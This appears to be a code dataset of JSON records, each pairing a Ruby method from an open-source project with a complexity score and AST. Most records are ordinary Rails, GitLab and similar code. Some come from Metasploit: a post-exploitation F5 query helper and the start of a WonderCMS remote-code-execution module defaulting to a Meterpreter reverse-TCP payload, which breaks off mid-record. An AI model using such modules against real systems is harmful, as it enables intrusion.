{"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/work_packages_filter_helper.rb","start_line":88,"raw_source":"def project_work_packages_with_ids_path(ids, project, options = {})\n    query = {\n      f: [\n        filter_object(\"status_id\", \"*\"),\n        filter_object(\"id\", \"=\", ids)\n      ]\n    }\n    project_work_packages_with_query_path(project, query, options)\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"project_work_packages_with_ids_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ids\"]},{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"f\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_object\",{\"type\":\"str\",\"children\":[\"status_id\"]},{\"type\":\"str\",\"children\":[\"*\"]}]},{\"type\":\"send\",\"children\":[null,\"filter_object\",{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"project_work_packages_with_query_path\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"4ebe1812-0409-45e0-93e4-25efe83f049d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/ubiquiti_airos_file_upload.rb","start_line":172,"raw_source":"def service_details\n    super.merge(\n      port: datastore['SSH_PORT'],\n      service_name: 'ssh'\n    )\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"service_details\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSH_PORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"str\",\"children\":[\"ssh\"]}]}]}]}]}","id":"622ac4da-eaf4-48f2-a2ef-b07f18d0c37a"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/spec/rspec/core/configuration_spec.rb","start_line":2314,"raw_source":"host.class_exec { def foobar; end }","complexity_score":3.2,"ast_json":"{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host\"]},\"class_exec\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"def\",\"children\":[\"foobar\",{\"type\":\"args\",\"children\":[]},null]}]}","id":"9919591a-fd70-4667-bf80-61e1df4c3d6e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migrator_test.rb","start_line":50,"raw_source":"def test_migrator_with_duplicate_names\n    e = assert_raises(ActiveRecord::DuplicateMigrationNameError) do\n      list = [ActiveRecord::Migration.new(\"Chunky\"), ActiveRecord::Migration.new(\"Chunky\")]\n      ActiveRecord::Migrator.new(:up, list, @schema_migration, @internal_metadata)\n    end\n    assert_match(/Multiple migrations have the name Chunky/, e.message)\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_migrator_with_duplicate_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"e\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"DuplicateMigrationNameError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"new\",{\"type\":\"str\",\"children\":[\"Chunky\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"new\",{\"type\":\"str\",\"children\":[\"Chunky\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"new\",{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"lvar\",\"children\":[\"list\"]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Multiple migrations have the name Chunky\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}","id":"3af91271-e817-4208-9454-978894bd76c8"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/channels/application_cable/connection.rb","start_line":5,"raw_source":"def connect\n      self.current_user = find_verified_user\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"connect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_user=\",{\"type\":\"send\",\"children\":[null,\"find_verified_user\"]}]}]}","id":"97e64a09-1613-4a9a-a93f-f9aeb3fee952"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v2/notifications_controller.rb","start_line":144,"raw_source":"def expand_accounts_param\n    case params[:expand_accounts]\n    when nil, 'full'\n      'full'\n    when 'partial_avatars'\n      'partial_avatars'\n    else\n      raise Mastodon::InvalidParameterError, \"Invalid value for 'expand_accounts': '#{params[:expand_accounts]}', allowed values are 'full' and 'partial_avatars'\"\n    end\n  end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_accounts_param\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"expand_accounts\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"full\"]},{\"type\":\"str\",\"children\":[\"full\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"partial_avatars\"]},{\"type\":\"str\",\"children\":[\"partial_avatars\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mastodon\"]},\"InvalidParameterError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid value for 'expand_accounts': '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"expand_accounts\"]}]}]},{\"type\":\"str\",\"children\":[\"', allowed values are 'full' and 'partial_avatars'\"]}]}]}]}]}","id":"e215b2ba-a172-4c23-9f3a-5a2f36f8f8e4"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/inspector.rb","start_line":87,"raw_source":"def format(formatter, filter = {})\n        all_routes = { nil => @routes }.merge(@engines)\n\n        all_routes.each do |engine_name, routes|\n          format_routes(formatter, filter, engine_name, routes)\n        end\n\n        formatter.result\n      end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"formatter\"]},{\"type\":\"optarg\",\"children\":[\"filter\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all_routes\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@routes\"]}]}]},\"merge\",{\"type\":\"ivar\",\"children\":[\"@engines\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_routes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"engine_name\"]},{\"type\":\"arg\",\"children\":[\"routes\"]}]},{\"type\":\"send\",\"children\":[null,\"format_routes\",{\"type\":\"lvar\",\"children\":[\"formatter\"]},{\"type\":\"lvar\",\"children\":[\"filter\"]},{\"type\":\"lvar\",\"children\":[\"engine_name\"]},{\"type\":\"lvar\",\"children\":[\"routes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatter\"]},\"result\"]}]}]}","id":"41b8bb22-a87a-410d-9fc5-7edf1fb9faa2"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/configuration/middleware_stack_proxy_test.rb","start_line":61,"raw_source":"def test_order\n        @stack.swap :foo\n        @stack.delete :foo\n\n        assert_playback([:swap, :delete], :foo)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_order\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stack\"]},\"swap\",{\"type\":\"sym\",\"children\":[\"foo\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stack\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"foo\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_playback\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"swap\"]},{\"type\":\"sym\",\"children\":[\"delete\"]}]},{\"type\":\"sym\",\"children\":[\"foo\"]}]}]}]}","id":"ab75e63a-4c8c-476a-8e3f-4fd71b3fbb33"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/unlock_keychain.rb","start_line":55,"raw_source":"def self.default_keychain(keychain_path)\n        escaped_path = keychain_path.shellescape\n        Fastlane::Actions.sh(\"security default-keychain -s #{escaped_path}\", log: false)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default_keychain\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keychain_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"escaped_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keychain_path\"]},\"shellescape\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Actions\"]},\"sh\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"security default-keychain -s \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_path\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"754fd110-37c5-42a2-8707-2e0733015111"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/uploads_manager.rb","start_line":51,"raw_source":"def copy_project_uploads\n        each_uploader do |uploader|\n          next unless uploader.file\n\n          if uploader.upload.local?\n            next unless uploader.upload.exist?\n\n            copy_files(uploader.absolute_path, File.join(uploads_export_path, uploader.upload.path))\n          else\n            download_and_copy(uploader)\n          end\n        end\n      end","complexity_score":24.1,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_project_uploads\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_uploader\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uploader\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uploader\"]},\"file\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uploader\"]},\"upload\"]},\"local?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uploader\"]},\"upload\"]},\"exist?\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"copy_files\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uploader\"]},\"absolute_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"uploads_export_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uploader\"]},\"upload\"]},\"path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"download_and_copy\",{\"type\":\"lvar\",\"children\":[\"uploader\"]}]}]}]}]}]}","id":"8da13375-d350-4587-80d5-0bed8a0267d0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/merge_requests/mergeability_check_service_spec.rb","start_line":106,"raw_source":"def execute_within_threads(amount:, retry_lease: true)\n      threads = []\n\n      amount.times do\n        # Let's use a different object for each thread to get closer\n        # to a real world scenario.\n        mr = MergeRequest.find(merge_request.id)\n\n        threads << Thread.new do\n          Gitlab::ExclusiveLease.skipping_transaction_check do\n            described_class.new(mr).execute(retry_lease: retry_lease)\n          end\n        end\n      end\n\n      threads.each(&:join)\n      threads\n    end","complexity_score":23.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_within_threads\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"amount\"]},{\"type\":\"kwoptarg\",\"children\":[\"retry_lease\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"threads\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"amount\"]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads\"]},\"<<\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ExclusiveLease\"]},\"skipping_transaction_check\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"mr\"]}]},\"execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"retry_lease\"]},{\"type\":\"lvar\",\"children\":[\"retry_lease\"]}]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"join\"]}]}]},{\"type\":\"lvar\",\"children\":[\"threads\"]}]}]}","id":"d52ae610-6ee5-4d09-b353-963aa6a95327"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base_data_fields.rb","start_line":37,"raw_source":"def activated?\n      !!integration&.activated?\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"activated?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integration\"]},\"activated?\"]},\"!\"]},\"!\"]}]}","id":"c0d2ff57-3913-4513-bc77-9c13d092df25"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/usage_data_metrics.rb","start_line":13,"raw_source":"def build_payload(method_symbol)\n        ::Gitlab::Usage::Metric.all.map(&method_symbol).reduce({}, :deep_merge)\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_symbol\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Usage\"]},\"Metric\"]},\"all\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_symbol\"]}]}]},\"reduce\",{\"type\":\"hash\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"deep_merge\"]}]}]}","id":"46106ff7-ca1f-41b2-a357-a433134f19f6"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report.rb","start_line":296,"raw_source":"def col_format_hash\n    @col_format_hash ||= col_order.zip(col_formats).to_h\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"col_format_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@col_format_hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"col_order\"]},\"zip\",{\"type\":\"send\",\"children\":[null,\"col_formats\"]}]},\"to_h\"]}]}]}","id":"e4e1a871-642e-4153-a849-c69b4cd992d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kubernetes/kube_client.rb","start_line":179,"raw_source":"def secret_exists?(resource)\n        get_secret(resource.metadata.name, resource.metadata.namespace)\n      rescue ::Kubeclient::ResourceNotFoundError\n        false\n      end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"secret_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_secret\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"metadata\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource\"]},\"metadata\"]},\"namespace\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Kubeclient\"]},\"ResourceNotFoundError\"]}]},null,{\"type\":\"false\",\"children\":[]}]},null]}]}","id":"221a2095-dc80-4fdc-a02c-c609e6370652"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/package_pipelines_resolver.rb","start_line":72,"raw_source":"def id_from_cursor(cursor)\n      cursor&.fetch('id')\n    rescue KeyError\n      raise Gitlab::Graphql::Errors::ArgumentError, \"Please provide a valid cursor\"\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"id_from_cursor\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cursor\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cursor\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"id\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"KeyError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Errors\"]},\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Please provide a valid cursor\"]}]}]},null]}]}","id":"067fa95c-7a5a-4bf7-9901-de7a0deeae63"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/linux/f5_mcp.rb","start_line":334,"raw_source":"def mcp_simple_query(querytype)\n          # Get the raw result\n          result = mcp_send_recv([\n            mcp_build('query_all', 'structure', [\n              mcp_build(querytype, 'structure', [])\n            ])\n          ])\n\n          # Error handling\n          unless result\n            print_error('mcp_send_recv failed')\n            return nil\n          end\n\n          # Sanity check - we only expect one result\n          if result.length != 1\n            print_error(\"mcp_send_recv query was supposed to return one result, but returned #{result.length} results instead\")\n            return nil\n          end\n          # Get that result\n          result = result.pop\n\n          # Get the reply\n          result = mcp_get_single(result, 'query_reply')\n          if result.nil?\n            print_error(\"mcp didn't return a query_reply to our query\")\n            return nil\n          end\n\n          # Get all the fields for the querytype\n          result = mcp_get_multiple(result, querytype)\n\n          # Convert each result to a hash\n          result = result.map do |single_result|\n            mcp_to_h(single_result)\n          end\n\n          result\n        end","complexity_score":26.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mcp_simple_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"querytype\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"mcp_send_recv\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mcp_build\",{\"type\":\"str\",\"children\":[\"query_all\"]},{\"type\":\"str\",\"children\":[\"structure\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mcp_build\",{\"type\":\"lvar\",\"children\":[\"querytype\"]},{\"type\":\"str\",\"children\":[\"structure\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"mcp_send_recv failed\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"length\"]},\"!=\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"mcp_send_recv query was supposed to return one result, but returned \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" results instead\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"pop\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"mcp_get_single\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"query_reply\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"mcp didn't return a query_reply to our query\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"mcp_get_multiple\",{\"type\":\"lvar\",\"children\":[\"result\"]},{\"type\":\"lvar\",\"children\":[\"querytype\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"single_result\"]}]},{\"type\":\"send\",\"children\":[null,\"mcp_to_h\",{\"type\":\"lvar\",\"children\":[\"single_result\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"614eb850-41ed-4742-953a-9bb640d2edac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/build_source_finder.rb","start_line":14,"raw_source":"def execute\n      return relation unless sources.present?\n\n      filter_by_source\n    end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sources\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"relation\"]}]}]},{\"type\":\"send\",\"children\":[null,\"filter_by_source\"]}]}]}","id":"86fa451f-6d91-47cd-a74a-90c20a131966"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/enumerations/table_component.rb","start_line":62,"raw_source":"def inline_create_link\n      link_to new_enumeration_path(type: rows.name),\n              aria: { label: t(:label_enumeration_new) },\n              class: \"wp-inline-create--add-link\",\n              data: { \"test-selector\": \"create-enumeration-#{rows.name.underscore.dasherize}\" },\n              title: t(:label_enumeration_new) do\n        helpers.op_icon(\"icon icon-add\")\n      end\n    end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"inline_create_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[null,\"new_enumeration_path\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rows\"]},\"name\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"aria\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"label_enumeration_new\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"wp-inline-create--add-link\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"test-selector\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"create-enumeration-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rows\"]},\"name\"]},\"underscore\"]},\"dasherize\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"sym\",\"children\":[\"label_enumeration_new\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helpers\"]},\"op_icon\",{\"type\":\"str\",\"children\":[\"icon icon-add\"]}]}]}]}","id":"ab78c5ae-869c-4905-9748-41ed8e67b291"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wondercms_rce.rb","start_line":16,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'WonderCMS Remote Code Execution',\n        'Description' => %q{\n          This module exploits CVE-2023-41425, an authenticated file upload vulnerability affecting WonderCMS between 3.2.0 and 3.4.2.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'msutovsky-r7', # msf module\n          'Milad \"Ex3ptionaL\" Karimi' # original exploit\n        ],\n        'References' => [\n          [ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-41425'],\n          [ 'URL', 'https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413'],\n          [ 'CVE', '2023-41425'],\n          [ 'EDB', '52271']\n        ],\n        'Targets' => [\n          [\n            'PHP',\n            {\n              'Platform' => ['php'],\n              'Arch' => ARCH_PHP,\n              'Type' => :php,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'php/meterpreter/reverse_tcp'\n              